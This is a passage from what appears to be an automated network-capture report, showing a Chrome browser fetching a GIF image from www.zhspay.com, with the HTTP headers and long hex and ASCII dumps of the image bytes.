GIF89a,f5;J5I`L~Y+F#!NETSCAPE2.0!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: e6 6a 6a a2 90 af 0a 2b 7a 02 c1 7c f9 aa 5e 00 41 c8 2c 2b fe d9 d0 83 8e c8 83 72 9c b8 11 a3 0f d8 10 31 06 6b 7e 1a 2b fe fd 6a 7d 7a 56 b1 d6 85 37 86 85 85 a2 27 86 5e 68 86 86 d2 ba 76 68 89 76 a8 b3 8a a8 a7 98 4e 1d 11 08 fd 7c 1e 8e de cd b0 9d 02 21 c6 a8 73 c2 9c cd dc d8 cc dd e8 8d f6 47 c1 0c 89 65 ce 00 36 dd 80 c8 10 e6 6c 48 62 65 f8 8b 1b 49 81 21 2c a6 38 45 5b 15 5c e2 f9 30 26 73 98 50 18 ac 17 94 b6 d7 b7 6d 83 b8 85 82 66 25 2a 49 d9 eb 01 bc d8 a8 79 4b 63 26 22 99 ea 98 cc 72 a5 11 fd 80 0a e4 5b 81 b9 cc a5 3e 54 26 90 1f 7d ff 10 5c c9 ac 0c 33 e8 cb 45 a9 66 a5 14 5c 6b 76 d0 34 62 43 6c 62 83 84 1e c8 18 00 57 83 b4 db 05 31 2d a3 94 54 8b e5 85 b1 7a ce 58 2c 1c c5 35 06 4f 7d 42 85 d0 1c 09 30 60 08 70 6a 8f 49 02 72 49 e6 Data Ascii: jj+z\|^A,+r1k~+j}zV7'^hvhvN\|!sGe6lHbeI!,8E[\0&sPmf%*IyKc&"r[>T&}\3Ef\kv4bClbW1-TzX,5O}B0`pjIrI
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 68 74 02 4e f8 c3 85 e9 07 de 82 af 40 24 36 41 dc 3c e0 09 96 60 18 1a 68 c8 ae 8c c0 90 6d 00 a3 f9 3a 14 05 5a a8 64 3b 20 4c e0 bb fc 1a b2 76 e1 2f b5 68 97 cc f0 3d 51 2c 90 88 58 a5 01 d8 80 6f 0b 2d 14 eb 11 5e f0 91 92 52 3e 57 b4 88 5c 54 89 22 e2 04 db 11 22 28 91 15 5b f4 be a1 7a 3a 80 98 0c 88 c8 91 31 21 30 11 bb 0c 80 9b 84 44 a8 16 89 0b c3 6b 11 40 5e da c3 d5 92 bc 84 7b 16 fb cb b4 f9 63 26 f0 f9 03 3f 20 0d e8 20 17 aa d4 0a 0e f2 0d 94 e1 8b 42 79 1c 0f 94 8b c2 8a 8b 39 a2 90 ce cb 08 81 5a 9c 8f 83 98 ae 92 47 b7 68 b9 21 1c 1c ff 1e d4 47 85 89 17 94 4b 8b e0 9c c0 27 ea 35 de 61 89 89 24 33 9c 91 3e a9 73 9d c8 92 3a 21 fc be 22 71 15 db f9 11 13 18 a0 03 d9 07 f3 78 14 0b f4 0a 93 50 2b ea b4 a7 4d a1 2b d1 9a ab 80 38 28 80 38 Data Ascii: htN@$6A<`hm:Zd; Lv/h=Q,Xo-^R>W\T""([z:1!0Dk@^{c&? By9ZGh!GK'5a$3>s:!"qxP+M+8(8
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: e2 a7 83 f8 78 c7 2b 49 f3 63 59 e3 0d df 0c 93 95 b2 d6 be 9a ea 49 54 7e 85 95 55 29 96 18 14 fc 41 2f f7 5e 2e d7 58 c7 23 05 cd 93 18 b8 74 63 cc b3 4b 68 d6 71 ac 94 1b c0 64 3d 0f 73 1e 41 a7 3d 73 d6 07 8b 20 70 91 c0 4c 7e c6 4c a7 95 2d ae e1 5d d8 c4 66 9d b1 75 ad 34 28 bb b2 65 e4 52 02 f2 52 75 44 81 75 6c a4 6e 20 46 1f ac 22 7d 45 c2 3b 44 c2 3b 68 25 0b fa 77 0a ca 02 43 99 e0 26 01 d0 50 cf e0 26 33 45 09 b5 f7 7b 11 03 08 0a d1 84 48 a2 28 12 22 78 e0 65 0e fb 51 6c eb d7 14 2c a2 31 1a 45 61 ef b4 01 c1 53 51 2e e0 83 a0 96 0a 13 f2 ff 5e 48 a8 32 b8 b5 05 38 53 3d 58 b2 73 05 02 02 54 c5 52 3b 31 65 03 d5 73 67 e7 09 8e e0 6d 62 58 87 b5 a0 0a 7e 08 37 8a d2 79 2e 75 27 34 30 63 ce 06 17 4c 90 2c 63 10 56 2c 56 76 1b 01 02 b9 30 11 9c Data Ascii: x+IcYIT~U)A/^.X#tcKhqd=sA=s pL~L-]fu4(eRRuDuln F"}E;D;h%wC&P&3E{H("xeQl,1EaSQ.^H28S=XsTR;1esgmbX~7y.u'40cL,cV,Vv0
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 1d 1b 56 c8 0e e2 b4 ce 84 20 e7 c5 2b ca 75 82 00 ad ed 99 8d 7b 3a e5 1a c4 0f de 84 22 71 ac b8 5a 29 9f 51 89 d3 b2 15 73 27 27 aa de 34 02 74 28 3c 32 47 a7 0b 52 85 c4 ee a3 2e d1 50 1b 87 87 2f 45 2b 9a bb 82 c4 17 4b f5 d8 47 02 dc b2 27 25 ca 9d a3 89 c2 5e a1 cc d4 bd ed 6d de 63 e2 bb b0 e6 f1 14 bf a5 8e 6f 92 8e 04 16 8a 19 55 2b 3b e9 94 b3 10 31 e3 6e 02 e5 7a 0b 5e 80 ad 15 2c ca 2b a1 f2 c1 46 e0 23 fa de 17 6c 5c bb 40 01 e4 2b 5f 5f f8 62 26 64 fb 60 4e 43 ca 93 2f 49 1c ed 5f 52 03 0e ab fa 71 63 0d e5 e2 78 10 51 21 d7 69 c5 ea 18 ff f0 d8 1c 57 93 a9 0b 94 20 30 40 a3 35 4a b9 28 c0 67 0b 80 9a 05 fa 5c 83 6c cb 3b 7a 08 f2 39 1b 52 e5 df a6 21 c9 74 4e 8d 3d 65 e5 1b 75 16 e7 b4 b1 6d 0e 8f 99 e1 0c 8d 8a 56 ca c8 9a e2 29 fa 86 f0 Data Ascii: V +u{:"qZ)Qs''4t(<2GR.P/E+KG'%^mcoU+;1nz^,+F#l\@+__b&d`NC/I_RqcxQ!iW 0@5J(g\l;z9R!tN=eumV)
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 0d bc bd 07 ae 0e 05 05 1f c4 19 1a 00 c7 c9 c8 0b bd be c0 c2 c4 c4 0b 1a 16 d5 d6 d7 14 ba 06 ba da dc de db b9 e0 b9 e1 e2 e5 15 dd 13 18 19 17 e9 eb 1d ec c7 21 1b 22 f4 23 2a 96 26 28 f7 2a 2d 2d 31 fe fb 5a a8 70 21 10 92 41 21 31 34 25 3c c8 10 d0 17 37 5e b0 48 61 12 80 62 14 27 61 ac 28 01 33 23 63 46 2d 5a ff 1e 82 14 39 65 a4 46 23 71 e8 c8 51 c9 32 25 18 97 63 38 7a 61 10 32 cc c8 9b 12 b1 8c ac f2 a6 0f cb 3a 39 e7 08 25 43 14 0f 4f 9f 7c 1a 1a 94 34 63 54 a7 85 a4 28 5d da a4 90 2a 27 a8 36 9c 7a aa 81 b5 91 d6 4f 53 17 56 1d 1b 95 58 25 14 f5 4e 74 78 01 b0 2d 8b 7f 62 61 64 b2 44 77 85 d8 ba 78 57 68 38 95 aa 00 b0 57 b1 56 d5 92 95 2a 17 ae c3 00 06 00 68 d6 00 c0 df 61 14 30 20 4b d6 41 84 81 24 8c 1b 08 03 b6 21 32 4d 5e d4 d4 a9 c3 56 Data Ascii: !"#&(--1Zp!A!14%<7^Hab'a(3#cF-Z9eF#qQ2%c8za2:9%CO\|4cT(]'6zOSVX%Ntx-badDwxWh8WVha0 KA$!2M^V
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: ca a6 97 5c 53 ac 6b 5f e0 c8 b0 bb d1 86 80 c9 72 d7 c9 82 8a c8 da 47 c4 8e f0 f2 46 37 5d 0f 6d d7 dd 87 93 5f a0 8d 1f 67 07 55 8f 65 87 86 1e 6c 6c 0a 67 77 64 33 76 63 73 90 bf 1f 79 2d 9f ee fa a2 ef a1 61 0b e9 0c 9e 9f ef b2 9c 30 6d b0 63 cb 28 22 2d 06 02 5b 09 4f ec 9e d5 87 4d a5 77 b7 43 0f 49 db 22 b5 ff ad 39 05 16 41 48 70 87 b5 08 2b 84 59 83 78 54 31 b9 58 18 4f b8 5f 38 89 40 10 90 27 70 53 53 f4 bc db 73 9f f3 a1 0b 72 a3 9f 8f b5 7c cb 1d 68 e3 cd 2c 65 53 7f 24 eb 5e a7 a7 ff 47 6c 29 06 5c 1a e2 04 f0 00 06 60 05 be 98 74 4b 46 06 41 05 ec 92 b5 00 85 05 0c a3 34 4b 84 72 fb 1a 8c 9a 47 71 00 b2 0c 4c f0 8a 01 31 bc 9e ea f5 ee 37 2b 2e b6 4e 8e 8a c9 94 0e f6 17 05 55 64 45 ce e8 ec aa de 09 d2 10 1b 1c 86 39 9c 07 b2 9f fc 7d f4 Data Ascii: \Sk_rGF7]m_gUellgwd3vcsy-a0mc("-[OMwCI"9AHp+YxT1XO_8@'pSSsr\|h,eS$^Gl)\`tKFA4KrGqL17+.NUdE9}
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: df 66 ce cc e9 2b ec 24 35 4c 37 36 1a bc a9 2b 1e 5c c2 df 2b 05 bc 38 53 b8 96 e6 69 fe d5 ab 7a 31 8c 73 95 33 05 51 03 1c ab 70 0e b9 cf 46 da a0 ed b8 06 b6 20 14 c0 8a 98 fb 90 63 4c 2b c4 73 8c f2 02 16 75 8e 56 ff 83 15 29 b3 6d 84 49 29 64 10 de 6a e5 b2 60 41 8d 72 44 64 64 c8 9e f2 aa 80 69 7b af 1e 86 81 ff 83 7e 4e 50 85 ce be 85 a1 16 40 dc ee 94 11 41 6a 26 d5 03 2d 83 6e 5b 22 f3 ee 8b ee c3 d5 58 e4 45 f6 96 aa ec ba ed 90 8e 16 71 8e 36 28 8c f2 44 8c 73 34 bf 47 5b b9 72 22 22 94 cd 44 89 5c d2 47 c3 cb b4 9b a6 96 06 93 a9 cc 69 2e ea ec 42 41 12 69 c4 21 8c 2d a9 06 d2 81 59 7c 45 0e e9 93 90 5b 67 d5 4c 94 bd 68 83 0a 0d 82 db 3a c9 fd 15 0d 0e 7e 18 af 54 6b 50 0e 95 bd 29 53 c4 f5 5e 7a 8d 4a 19 a6 6e 12 1c eb 65 1a 21 3a cc 6a e2 Data Ascii: f+$5L76+\+8Siz1s3QpF cL+suV)mI)dj`ArDddi{~NP@Aj&-n["XEq6(Ds4G[r""D\Gi.BAi!-Y\|E[gLh:~TkP)S^zJne!:j
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: b6 65 bc e5 77 f7 d0 73 00 e9 79 5f 47 5d d8 81 a7 53 db 2d 28 8c 1d 09 4c 30 41 e4 73 db 68 5f 39 c4 5d dc 55 6b a7 5a 90 70 a7 b7 a0 76 40 25 1c 2e 9e 4a 90 3e fc c3 40 1c c2 4e 20 32 a7 92 b5 33 14 64 f9 f0 4b 33 b5 92 e9 b8 84 33 bb 0a 8d 1b ac eb 31 ad b1 16 c4 d2 a3 b9 4c 6c 97 cb 32 7d 81 8b 98 ba 08 3e ba 30 ff a9 68 64 0e 1f 52 bb 75 28 45 4b 54 45 b4 2b 88 22 2a 88 fe 50 95 f1 7a a2 87 b8 0e 4f 55 23 ff 7a c7 77 8c 36 31 41 10 fc 1a 58 1d 70 31 92 46 c6 74 02 02 cf 3b 15 7b 50 72 d5 2b 82 e8 97 67 38 b7 b3 c5 43 8a f7 c1 42 e3 3b c9 93 3c b2 e4 1b b2 4d 71 7e ea db 84 62 69 2c 7a b1 b2 f1 8b b0 aa 15 73 27 b0 28 0e 42 29 f6 91 99 a7 21 8c a6 5b b4 5a 4c 5a 56 2c 3d 29 e0 1a f4 52 40 97 41 55 0b e7 c0 40 2c 4c 7d 86 19 51 1b 07 cb e4 1a 21 22 aa Data Ascii: ewsy_G]S-(L0Ash_9]UkZpv@%.J>@N 23dK331Ll2}>0hdRu(EKTE+"*PzOU#zw61AXp1Ft;{Pr+g8CB;<Mq~bi,zs'(B)![ZLZV,=)R@AU@,L}Q!"
2024-09-27 03:50:39 UTC	14836	IN	Data Raw: f5 85 41 c9 11 ec f0 73 16 84 6e 2e 38 14 46 d9 f2 46 b3 f2 91 6c b4 41 fb 93 41 69 41 56 57 e4 4e 38 34 62 1a 55 90 60 95 8e ea 28 59 c9 85 1c 09 66 3d 45 31 5a 47 91 1e d6 93 45 cf 42 79 0a 05 46 ae 52 40 88 00 5a 09 a4 5b 85 60 fa 00 31 05 6a b5 5a bd f5 09 eb 61 41 07 24 5c d6 55 5a 09 b2 de e8 ad 9c f6 cd 0a cb ff a9 6b 3a 23 35 d7 c0 1a ee 00 49 bb c5 9f 3e c1 12 ef 69 23 49 e8 36 3f 52 24 d1 46 24 d9 50 e0 f4 09 ce 5e 27 a0 b4 b4 37 87 c0 11 2c c7 89 98 83 33 18 03 23 98 f3 3d c7 75 45 88 28 e5 4c c1 15 a0 a1 4d b1 93 62 5f eb 1b f2 f4 3b b1 48 bc 78 2e 4f 09 21 ba 2c 03 50 a3 b5 14 b5 12 18 05 a6 aa e6 92 16 fd 4f 16 3c 75 56 77 e5 17 07 90 2d 15 4c 67 1f e9 92 60 c9 ea d8 72 71 0c 94 52 1b 55 56 0f 14 2d 2b f5 42 95 f6 58 1d b4 69 a5 d6 69 c3 12 Data Ascii: Asn.8FFlAAiAVWN84bU`(Yf=E1ZGEByFR@Z[`1jZaA$\UZk:#5I>i#I6?R$F$P^'7,3#=uE(LMb_;Hx.O!,PO<uVw-Lg`rqRUV-+BXii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49739	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:38 UTC	610	OUT	GET /zhuye/img/tyc2024.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: image/gif Content-Length: 178073 Last-Modified: Wed, 07 Feb 2024 05:38:59 GMT Connection: close ETag: "65c31773-2b799" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 e6 7f 00 e4 5b 14 fe fe 05 49 87 a7 9a 0c 0e ff ff b2 ff ff d4 5e 1f 18 fd d5 71 a6 45 17 f0 dd d6 ff fd 70 d1 d0 d3 fc 27 2a 1b 2b 4d 61 5b 56 00 9b 1e 4d 07 60 0b 08 10 5e 64 90 fc 9a 1f 03 5b 13 9b 4f 9f a0 8e 65 f9 2e 4a fd d8 8b 90 01 af 11 44 90 2b 44 61 90 70 5c d9 ba b1 26 6b 91 fb b5 6f fc b3 4c 24 74 b1 29 28 2d 87 8f 93 f1 ce c0 fc 4d 49 fe 6d 6e 11 22 2e 24 50 8a 01 c9 22 fd 92 70 ab 00 d2 db cf b8 5f 3f 31 c9 0d 0b b3 b2 b0 6e 00 88 a4 da a6 fa d4 48 fd b5 89 a7 b8 d6 b6 92 89 0b 11 25 d1 ad 9c b7 ce d7 ff fd 4a 07 2b 11 22 4b b3 27 5a ce fa b3 b1 f9 90 44 f0 0d 0c 64 98 6d 2b 02 37 fe 8b 89 d0 23 2e fc 70 3e cf 95 8f fb 4b 66 d5 d1 94 b4 b0 8a d3 b0 6c da f0 d7 d5 b0 47 61 cf 72 ce 95 4a d1 4c 4b d0 6e 6d 20 33 Data Ascii: GIF89a[I^qEp'*+Ma[VM`^d[Oe.JD+Dap\&koL$t)(-MImn".$P"p_?1nH%J+"K'ZDdm+7#.p>KflGarJLKnm 3
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 30 93 99 aa a3 2a b0 a9 3e d9 ff a9 2a 40 07 dc d7 00 2b b5 01 7a 26 3b 48 29 95 ca f3 02 8c d6 94 fd 37 23 1e c5 7e c7 63 07 1d e5 68 24 70 94 24 20 22 34 c2 7f d0 43 02 c2 93 69 9c 96 3d 86 f0 52 67 99 80 34 c5 3d 0d b0 96 11 d0 29 01 44 42 03 44 42 5f 15 06 5c 30 85 61 d0 27 47 d0 02 2b 14 40 23 e0 0d 05 a0 6b ee 43 0a 01 34 08 3b 04 28 13 04 28 16 70 09 cb 92 08 bd b9 82 60 95 85 ae d6 08 c9 87 0a 47 70 56 d3 06 9a dd 0a 0d 47 f8 0c 2e e4 83 de 86 0b 76 f5 54 1c 80 37 48 84 9a d3 d0 08 16 90 99 7e a9 2a ab a2 08 41 58 07 b7 30 41 e2 90 07 de 83 27 95 c2 54 fc e6 55 60 75 6c c1 56 40 8e 92 9c b0 07 45 d0 01 73 5f e3 59 d5 91 15 59 80 7b 13 51 11 12 c0 45 12 c1 1a 83 c4 88 84 f4 35 ea a5 9d 5a e1 78 a9 d1 a4 8b f8 35 6c f4 88 6d 5a 4d ed a5 1c 6d 80 46 Data Ascii: 0>@+z&;H)7#~ch$p$ "4Ci=Rg4=)DBDB_\0a'G+@#kC4;((p`GpVG.vT7H~*AX0A'TU`ulV@Es_YY{QE5Zx5lmZMmF
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 20 02 c2 42 10 23 b0 89 a0 d8 ff 89 7d 40 06 42 57 10 1b 51 44 d0 b2 11 41 a0 11 40 44 2d 39 51 76 43 14 12 28 11 06 40 14 01 1c 60 01 3e 74 2d 32 91 13 ed d9 02 61 50 44 58 74 2d 3e 64 74 a5 28 76 1d d1 76 c1 e8 8b bc 88 04 cc 92 2d c7 68 5e 25 11 76 57 54 41 cd a8 8c 73 c7 a1 72 e2 00 6c 73 38 d5 c8 5f 7a a7 4e 47 90 8d db d8 77 dc c8 46 83 f1 18 7b 14 61 64 54 3e 89 c7 47 83 90 04 58 82 99 6f e5 6c 1d e6 99 2e b8 7d bb f7 3c e3 56 92 7d c5 08 ed 56 6c 23 50 82 70 a1 4a 3b 40 33 4b 80 01 9b 14 66 da f6 2e 61 01 05 49 30 6d 3d ca 7b ad 33 7d 51 02 06 18 40 6d 1f d0 01 2e 39 53 a2 b6 04 6f 35 03 31 e3 26 83 30 02 db 27 4f 5b b2 6d 50 50 92 3a 89 a4 3a 39 a7 74 0a a4 24 d2 84 c5 a1 6d 90 43 14 c4 44 57 48 70 6a 50 40 00 bb f7 4d e5 56 6e df e4 81 7d 69 4f Data Ascii: B#}@BWQDA@D-9QvC(@`>t-2aPDXt->dt(vv-h^%vWTAsrls8_zNGwF{adT>GXol.}<V}Vl#PpJ;@3Kf.aI0m={3}Q@m.9So51&0'O[mPP::9t$mCDWHpjP@MVn}iO
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: b1 51 08 70 7d 40 e1 30 f5 70 ff 03 64 50 37 7f 21 34 78 50 6a 36 c9 34 9a a1 17 01 91 06 7b b1 33 00 30 17 45 b0 7e f6 e7 14 89 f1 7f 05 b8 69 55 b0 52 06 48 6a 8c 91 94 05 98 6a fc c7 7f c1 01 02 96 f6 69 39 50 14 91 42 7f 40 61 1c a8 06 1c a4 06 00 3d 60 92 06 f1 48 c2 d1 6b af 63 00 c0 96 3f 17 78 02 63 00 6c 2d c0 79 1b e8 00 27 e0 6d 1b 70 02 27 80 12 38 90 06 c8 c3 3c cb 73 03 48 b0 3c cf 83 07 69 d0 05 7d 33 02 36 40 3d e7 11 06 12 60 07 06 e2 56 39 08 92 39 98 83 6e 65 6e e3 d7 1d 7e 89 57 42 68 3e 18 a2 21 06 d2 22 f5 23 3f f7 a6 6f f9 d6 84 21 32 5b 34 c2 70 20 90 07 34 82 06 a1 c2 0d ac 72 59 dd f2 3f 86 00 86 0a 10 06 3a 40 22 22 30 71 2e f7 71 78 e8 02 2a a0 29 cd 08 00 37 42 75 be d5 06 48 d7 06 24 87 87 31 e4 87 68 30 26 6b c2 72 85 78 25 Data Ascii: Qp}@0pdP7!4xPj64{30E~iURHjji9PB@a=`Hkc?xcl-y'mp'8<sH<i}36@=`V99nen~WBh>!"#?o!2[4p 4rY?:@""0q.qx*)7BuH$1h0&krx%
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 45 1c 8f a1 11 27 90 68 89 b7 ff 68 81 c5 78 db a1 87 3e b3 34 49 43 79 4d 23 59 94 46 48 90 55 35 54 b3 79 85 38 79 a1 36 7a a1 e5 07 16 10 01 01 02 37 a8 95 6a 9b 44 4a 4c 61 15 68 f1 13 3f 31 15 bf 31 37 98 28 10 71 f1 21 5e c1 5b ef e0 00 be b6 0e 2b 12 7c 46 30 0e c8 95 4b 93 03 3b f0 76 5e cb 06 00 2f 32 5d 64 30 01 9b f0 39 a1 20 6d d9 55 6d 4a c2 24 df c5 7d e2 05 7e e1 46 4d c3 83 0c e3 c7 8b 49 62 6d 74 f0 0a 4f e0 7d c0 a0 08 dc 16 7f e4 f0 5f fa 26 04 24 80 7f 76 90 00 09 50 60 06 c6 3e c1 41 13 0f a7 33 d9 93 4f 93 42 3d 14 f7 4f ff f7 7f e3 13 1c d7 e3 8e 91 d2 3e 18 f8 29 19 66 81 a6 42 2a f8 83 2b 28 86 62 1a 66 72 19 37 72 23 67 72 20 17 63 c7 42 41 06 59 41 0d a4 8f 0d 64 41 19 85 52 d6 72 73 28 b8 90 2b c5 73 38 28 64 d0 d2 02 21 a4 2d Data Ascii: E'hhx>4ICyM#YFHU5Ty8y6z7jDJLah?117(q!^[+\|F0K;v^/2]d09 mUmJ$}~FMIbmtO}_&$vP`>A3OB=O>)fB*+(bfr7r#gr cBAYAdARrs(+s8(d!-
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 27 41 19 b5 d5 92 36 b6 b4 67 ff 4e 6e 80 6d ec 59 c6 cd 93 69 1b e5 b2 85 a3 6c 55 32 57 d9 de c9 ed 7a b2 3d 5d e2 ea b2 0f 1d 42 90 73 f5 33 fd 5c 7a fb 98 d4 bd ae df 32 94 20 70 0b 2e dd 8f 23 ef 8c 38 17 7e 67 a6 bb 99 e8 25 d1 34 77 f4 5e cd 91 ff 9a d6 6c 5d 7d fd fd cd 7d 1f 89 9c b3 23 78 ed d4 f9 24 73 0a 5c e0 fd 65 70 09 67 26 00 56 60 cc d3 09 11 57 4f 11 67 80 13 d7 80 a1 40 11 b7 30 50 c8 32 61 b1 80 10 b2 c0 10 08 c1 0b 45 50 03 54 70 29 9b 42 0c ec 53 0c ea 13 2a 22 26 0d 22 36 51 f4 53 62 73 20 73 d6 10 2b 09 40 73 2c e0 3f 1e 15 40 33 c6 02 5e 50 63 34 c7 01 29 75 81 3e b6 52 e1 a3 3d 16 d7 41 dd 92 64 21 c1 71 17 f1 11 16 f4 2d 48 97 11 dd 92 2d 56 57 42 57 76 54 2d 61 42 4a 25 13 62 27 2f 65 f7 54 f2 42 43 65 16 15 57 c5 76 64 b0 07 Data Ascii: 'A6gNnmYilU2Wz=]Bs3\z2 p.#8~g%4w^l]}}#x$s\epg&V`WOg@0P2aEPTp)BS*"&"6QSbs s+@s,?@3^Pc4)u>R=Ad!q-H-VWBWvT-aBJ%b'/eTBCeWvd
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 06 02 7a 46 07 75 10 75 2f f0 5a fd e1 33 fe f1 07 bb 45 1f f3 81 6e 7d 14 84 bb d5 34 f3 e1 34 4a e8 34 ea 81 5b 24 20 1f 58 b0 5c 0e 30 02 cb f5 5c 28 77 85 9a 30 4b 0e 02 22 0e b0 30 16 77 23 25 82 37 35 02 39 4b c0 21 10 82 01 7c c3 72 c2 c4 72 03 d7 ff 09 39 02 07 05 f0 20 83 d3 72 9d f0 06 27 c0 01 fa 05 22 58 f8 20 75 c0 37 03 e7 70 16 e0 38 e3 05 39 9d d0 25 b7 30 61 c1 60 61 89 c8 68 0d 48 4f 70 e0 05 0e b8 88 6a 60 6c 68 92 0b db 54 0b d1 e0 4d 98 01 29 0b 66 39 c9 90 4f 54 c1 02 c5 20 0b 60 00 29 03 05 07 79 20 26 1d 00 24 da 17 0c 87 a8 06 c7 32 63 69 a1 09 4a 36 78 8c c7 78 2c c0 2f a8 20 06 98 46 63 69 f2 8b 8f d7 63 9d e0 77 52 90 26 ab 58 64 e9 e7 8b 89 37 78 cc 08 8c c1 e0 8c c2 20 61 e4 f3 07 55 a6 51 1b f0 5f 5a f6 7b 77 26 04 61 26 04 Data Ascii: zFuu/Z3En}44J4[$ X\0\(w0K"0w#%759K!\|rr9 r'"X u7p89%0a`ahHOpj`lhTM)f9OT `)y &$2ciJ6xx,/ FcicwR&Xd7x aUQ_Z{w&a&
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 74 48 d9 20 26 8b 49 ac 68 2e 1e 63 31 f9 8a 39 09 0c 9c 33 6a 92 d1 7b ad c9 f4 84 24 a4 18 85 49 80 de ac 91 11 34 61 1e e1 f0 2b a4 02 97 2e 67 ec 6d 12 6d 31 93 87 91 38 67 73 9c c3 ff e5 03 d9 1c 71 4b e8 00 65 ac 48 61 2c f6 82 f4 73 5c ee b8 62 21 ff 24 12 bf cd 47 11 06 ac 61 88 25 5a 70 23 5a 87 a1 cd 4c ba 3b 47 79 12 bd 75 cf 86 6a b0 d0 c5 81 8e bf 01 d4 44 3a 38 50 65 c5 ed f3 62 96 f6 10 a6 01 34 7d 76 5c fa 0f 15 ea 29 3e 4c a5 d7 d3 51 c1 cc 16 05 c1 13 24 e7 21 47 33 b4 f8 0c ad 28 15 b6 6f 50 4b 08 35 b0 7f 38 81 96 14 a1 88 18 1d c6 d4 86 17 52 53 99 d7 d4 38 a0 81 0c f7 13 3d 30 b2 05 9b 31 05 54 a0 7f 2a d4 6b 2b 12 6b b5 46 6b 5b 60 7f c8 36 03 35 82 3e 6a 95 08 86 90 3e f4 93 55 19 a8 1b 17 38 6d dc b7 0c 74 62 50 9e 84 15 80 25 02 Data Ascii: tH &Ih.c193j{$I4a+.gmm18gsqKeHa,s\b!$Ga%Zp#ZL;GyujD:8Peb4}v\)>LQ$!G3(oPK58RS8=01T*k+kFk[`65>j>U8mtbP%
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 9a fe 97 16 e6 35 09 3c 4c fa 09 af f8 83 1e 9e 30 e9 49 73 a0 1e d1 20 e8 00 16 3a 87 2c a4 21 0d 09 20 c1 af 7d 1d 52 84 12 34 14 4f 68 5b 26 8a a0 d1 01 28 c7 37 2f 23 68 ca 52 36 05 e1 e8 76 87 7e 50 d9 13 fc eb 87 22 3c ad 03 2f 21 41 02 62 02 0c 43 ff b3 0b 24 1b 55 1b 4d d8 05 d2 ad dd 00 16 6b 7b 82 4d 4c 72 35 ae e2 63 72 8c db 09 26 00 17 00 00 70 45 df fc b6 db e4 ee e1 82 09 f0 9b df 55 98 6a 57 9b b2 52 cd 55 ee e0 3e 29 5b 58 9e 72 95 7e b3 15 70 fc 9e 8a 5b e8 ba f1 d2 b1 8e ae 1f 17 cb d7 ac 30 05 bd 94 1c 75 24 77 5d eb b6 60 00 c1 ea ae 06 48 38 48 07 0c eb bb c4 12 af 32 0d e8 ed 0b ba 60 9a 04 04 87 77 37 f8 cc 8f 6b 30 87 cc be 22 01 ab 51 4d f7 ba 77 02 2e c8 41 7c b9 ad 4d 6d ca 27 b3 e6 68 04 13 45 f8 8d b5 e7 d7 81 dc 10 87 05 57 Data Ascii: 5<L0Is :,! }R4Oh[&(7/#hR6v~P"</!AbC$UMk{MLr5cr&pEUjWRU>)[Xr~p[0u$w]`H8H2`w7k0"QMw.A\|Mm'hEW
2024-09-27 03:50:39 UTC	16384	IN	Data Raw: 0f 4e 6d 8e 30 59 60 07 12 b0 0d 6d 2c 20 81 db b8 e3 cb 1b dc 20 98 8c 0c 6f de 8c 3a 06 1b 10 ae 9c d7 09 dc 7a ee a3 9e fa a2 c7 6d d4 f4 9c 36 15 47 a0 03 79 93 35 26 08 a7 15 2e 87 50 0c 9d b3 56 05 bd 42 87 c8 40 04 53 85 c8 9d c3 2b 11 1d 50 44 88 ff 3a a4 4e 46 54 7a 11 76 6e c4 ba 1a a5 c9 47 3f ba dd 75 2e 54 2b dd e9 23 5f 16 ea 9d 91 1c 2a 61 86 02 e0 03 31 ca 9b f3 a2 27 26 56 2a 42 0e 07 00 c1 e9 50 d4 d1 03 28 c0 47 6f ea de 9b 7a c0 9c 08 60 86 be 7c 13 9b 7f 39 11 04 cd e0 d4 16 7c 1b c3 de 92 c9 9e 2e 6b 39 02 f4 71 32 df c0 5c e5 4c 44 a0 ca 36 c0 c4 99 c1 bc e6 f8 8c 39 08 11 38 c1 fd c8 b0 87 38 1c a1 1a 95 a0 c3 31 44 c0 df 37 8f 79 cd 69 26 1c 34 ab dc b7 30 bb 39 ca 88 fe 43 99 9b e9 66 f6 c0 b9 d1 e9 89 f4 75 ca cc b7 fd 1a 5a 91 Data Ascii: Nm0Y`m, o:zm6Gy5&.PVB@S+PD:NFTzvnG?u.T+#_a1'&VBP(Goz`\|9\|.k9q2\LD69881D7yi&409CfuZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
